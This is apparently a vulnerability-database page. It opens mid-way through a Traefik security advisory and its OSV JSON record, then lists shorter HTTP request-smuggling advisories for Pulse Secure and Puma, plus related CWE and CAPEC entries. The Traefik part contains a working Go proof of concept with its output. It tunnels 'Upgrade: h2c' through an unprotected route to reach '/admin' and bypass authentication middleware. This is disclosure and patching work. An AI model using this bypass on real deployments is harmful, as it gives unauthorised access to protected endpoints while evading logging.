Default configuration was used, with no `encodedCharacters` or upgrade-related options enabled.
## 1. Backend
The backend implements a minimal HTTP/1.1 → h2c upgrade handler.
It exposes:
* `/public` — unauthenticated
* `/admin` — intended to be protected by Traefik
package main
import (
"bufio"
"fmt"
"net"
"net/http"
"strings"
"golang.org/x/net/http2"
)
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/public", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "public ok\n")
})
mux.HandleFunc("/admin", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(
w,
"ADMIN SECRET DATA (proto=%s path=%s)\n",
r.Proto,
r.URL.Path,
)
})
h2s := &http2.Server{}
ln, _ := net.Listen("tcp", "127.0.0.1:9900")
for {
c, err := ln.Accept()
if err != nil {
return
}
go func(conn net.Conn) {
br := bufio.NewReader(conn)
var sb strings.Builder
for {
line, err := br.ReadString('\n')
if err != nil {
return
}
sb.WriteString(line)
if line == "\r\n" {
break
}
}
if strings.Contains(sb.String(), "Upgrade: h2c") {
conn.Write([]byte(
"HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: h2c\r\n\r\n",
))
h2s.ServeConn(conn, &http2.ServeConnOpts{
Handler: mux,
})
return
}
conn.Close()
}(c)
}
}
## 2. Traefik configuration
`traefik.yml`:
entryPoints:
web:
address: "127.0.0.1:9080"
providers:
file:
filename: "dynamic.yml"
`dynamic.yml`:
http:
routers:
r-public:
rule: "PathPrefix(`/public`)"
entryPoints: ["web"]
service: svc
r-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: ["web"]
service: svc
middlewares: ["adminauth"]
middlewares:
adminauth:
basicAuth:
users:
- "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."
services:
svc:
loadBalancer:
servers:
- url: "http://127.0.0.1:9900"
Both routers terminate on the same backend. Only `/admin` has authentication.
## 3. Attacker
The PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"golang.org/x/net/http2"
)
func main() {
front := "127.0.0.1:9080"
resp, _ := http.Get("http://" + front + "/admin")
b, _ := io.ReadAll(resp.Body)
resp.Body.Close()
fmt.Printf(
"[1] Direct GET /admin (no creds) -> %d %q\n",
resp.StatusCode,
strings.TrimSpace(string(b)),
)
raw, _ := net.Dial("tcp", front)
raw.Write([]byte(
"GET /public HTTP/1.1\r\n" +
"Host: x\r\n" +
"Connection: Upgrade, HTTP2-Settings\r\n" +
"Upgrade: h2c\r\n" +
"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
"\r\n",
))
buf := make([]byte, 256)
raw.SetReadDeadline(time.Now().Add(3 * time.Second))
n, _ := raw.Read(buf)
fmt.Printf(
"[2] Upgrade: h2c to /public (no auth) -> %q\n",
strings.SplitN(string(buf[:n]), "\r\n", 2)[0],
)
raw.SetReadDeadline(time.Time{})
cc, _ := (&http2.Transport{}).NewClientConn(raw)
req, _ := http.NewRequest("GET", "http://x/admin", nil)
r2, _ := cc.RoundTrip(req)
b2, _ := io.ReadAll(r2.Body)
r2.Body.Close()
fmt.Printf(
"[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
r2.StatusCode,
strings.TrimSpace(string(b2)),
)
}
### Result
[1] Direct GET /admin (no creds) -> 401 "401 Unauthorized"
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
This demonstrates the bypass:
* Direct `/admin` → `401`
* Unauthenticated `/public` → `101`
* `/admin` over the established h2c tunnel → `200`
The PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.
# Impact
The issue is exploitable when:
1. An attacker can reach a router without the relevant security middleware.
2. That router points to the same backend as a protected router.
3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.
4. Traefik allows the resulting upgrade to complete.
Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.
Potentially affected middleware includes:
* `BasicAuth`
* `ForwardAuth`
* `IPAllowList`
* `RateLimit`
* header/security middleware
* other per-request middleware attached to the protected router
The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.
The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.
# Scope / Preconditions
The backend must support the HTTP/1.1 → h2c upgrade mechanism and return `101 Switching Protocols`.
This is not true for every HTTP/2-capable backend.
For example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.
Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.
Therefore, this is **not** a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.
The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.
# Suggested Fix
The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.
At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:
Upgrade: h2c
Upgrade: <arbitrary-token>
More generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.
The relevant security property is:
> **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.**
# TL;DR
Traefik forwards arbitrary client-supplied `Upgrade` tokens.
If a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.
An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:
/public (no auth)
|
| Upgrade: h2c
v
Traefik
|
| 101
v
raw tunnel
|
| HTTP/2 GET /admin
v
Backend
|
v
/admin
(middleware bypassed)
In the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.
The root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.**
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.2"
},
{
"fixed": "3.7.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.26"
},
{
"fixed": "2.11.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-88008"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T23:04:37Z",
"nvd_published_at": "2026-09-10T15:17:56Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik\u0027s handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik\u0027s default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public /admin\n(no auth) (BasicAuth)\n | |\n +----------- same backend ------+\n ^\n |\n h2c tunnel\n |\n attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik\u0027s normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n |\n | GET /public\n | Connection: Upgrade\n | Upgrade: h2c\n v\nTraefik\n |\n | r-public (no auth)\n v\nBackend\n |\n | 101 Switching Protocols\n v\n[raw byte tunnel]\n |\n | HTTP/2 GET /admin\n v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 \u2192 h2c upgrade handler.\n\nIt exposes:\n\n* `/public` \u2014 unauthenticated\n* `/admin` \u2014 intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n \"bufio\"\n \"fmt\"\n \"net\"\n \"net/http\"\n \"strings\"\n\n \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n mux := http.NewServeMux()\n\n mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, \"public ok\\n\")\n })\n\n mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(\n w,\n \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n r.Proto,\n r.URL.Path,\n )\n })\n\n h2s := \u0026http2.Server{}\n\n ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n for {\n c, err := ln.Accept()\n if err != nil {\n return\n }\n\n go func(conn net.Conn) {\n br := bufio.NewReader(conn)\n var sb strings.Builder\n\n for {\n line, err := br.ReadString(\u0027\\n\u0027)\n if err != nil {\n return\n }\n\n sb.WriteString(line)\n\n if line == \"\\r\\n\" {\n break\n }\n }\n\n if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n conn.Write([]byte(\n \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n \"Connection: Upgrade\\r\\n\" +\n \"Upgrade: h2c\\r\\n\\r\\n\",\n ))\n\n h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n Handler: mux,\n })\n\n return\n }\n\n conn.Close()\n }(c)\n }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n web:\n address: \"127.0.0.1:9080\"\n\nproviders:\n file:\n filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n routers:\n r-public:\n rule: \"PathPrefix(`/public`)\"\n entryPoints: [\"web\"]\n service: svc\n\n r-admin:\n rule: \"PathPrefix(`/admin`)\"\n entryPoints: [\"web\"]\n service: svc\n middlewares: [\"adminauth\"]\n\n middlewares:\n adminauth:\n basicAuth:\n users:\n - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n services:\n svc:\n loadBalancer:\n servers:\n - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n\n \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n front := \"127.0.0.1:9080\"\n\n resp, _ := http.Get(\"http://\" + front + \"/admin\")\n b, _ := io.ReadAll(resp.Body)\n resp.Body.Close()\n\n fmt.Printf(\n \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n resp.StatusCode,\n strings.TrimSpace(string(b)),\n )\n\n raw, _ := net.Dial(\"tcp\", front)\n\n raw.Write([]byte(\n \"GET /public HTTP/1.1\\r\\n\" +\n \"Host: x\\r\\n\" +\n \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n \"Upgrade: h2c\\r\\n\" +\n \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n \"\\r\\n\",\n ))\n\n buf := make([]byte, 256)\n\n raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n n, _ := raw.Read(buf)\n\n fmt.Printf(\n \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n )\n\n raw.SetReadDeadline(time.Time{})\n\n cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n r2, _ := cc.RoundTrip(req)\n b2, _ := io.ReadAll(r2.Body)\n r2.Body.Close()\n\n fmt.Printf(\n \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n r2.StatusCode,\n strings.TrimSpace(string(b2)),\n )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds) -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` \u2192 `401`\n* Unauthenticated `/public` \u2192 `101`\n* `/admin` over the established h2c tunnel \u2192 `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik\u0027s normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 \u2192 h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend\u0027s ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik\u0027s HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik\u0027s routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n |\n | Upgrade: h2c\n v\n Traefik\n |\n | 101\n v\n raw tunnel\n |\n | HTTP/2 GET /admin\n v\n Backend\n |\n v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik\u0027s HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---",
"id": "GHSA-w4v4-9rw7-5326",
"modified": "2026-09-10T23:04:37Z",
"published": "2026-09-10T23:04:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88008"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13797"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/a277e94664ffc1ce9543df552d3bbf48d4d3b8b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) and Incorrect Authorization"
}
GHSA-W594-HMPV-QHH5
Vulnerability from github – Published: 2022-10-01 00:00 – Updated: 2024-02-27 21:31Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request's Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.
{
"affected": [],
"aliases": [
"CVE-2022-21826"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-30T17:15:00Z",
"severity": "MODERATE"
},
"details": "Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request\u0027s Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.",
"id": "GHSA-w594-hmpv-qhh5",
"modified": "2024-02-27T21:31:24Z",
"published": "2022-10-01T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21826"
},
{
"type": "WEB",
"url": "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/Client-Side-Desync-Attack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W64W-QQPH-5GXM
Vulnerability from github – Published: 2020-05-22 14:55 – Updated: 2023-05-16 15:55Impact
This is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.
A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.
If the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.
Patches
The problem has been fixed in Puma 3.12.6 and Puma 4.3.5.
For more information
If you have any questions or comments about this advisory:
- Open an issue in Puma
- See our security policy
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-11077"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-22T14:46:33Z",
"nvd_published_at": "2020-05-22T15:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThis is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.\n\nA client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client. \n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request\u0027s body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.6 and Puma 4.3.5.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)",
"id": "GHSA-w64w-qqph-5gxm",
"modified": "2023-05-16T15:55:12Z",
"published": "2020-05-22T14:55:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/puma/puma/security/advisories/GHSA-w64w-qqph-5gxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11077"
},
{
"type": "PACKAGE",
"url": "https://github.com/puma/puma"
},
{
"type": "WEB",
"url": "https://github.com/puma/puma/blob/master/History.md#434435-and-31253126--2020-05-22"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puma/CVE-2020-11077.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SKIY5H67GJIGJL6SMFWFLUQQQR3EMVPR"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00034.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "HTTP Smuggling via Transfer-Encoding Header in Puma"
}
Mitigation
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Mitigation
Use only SSL communication.
Mitigation
Terminate the client session after each request.
Mitigation
Turn all pages to non-cacheable.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-33: HTTP Request Smuggling
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.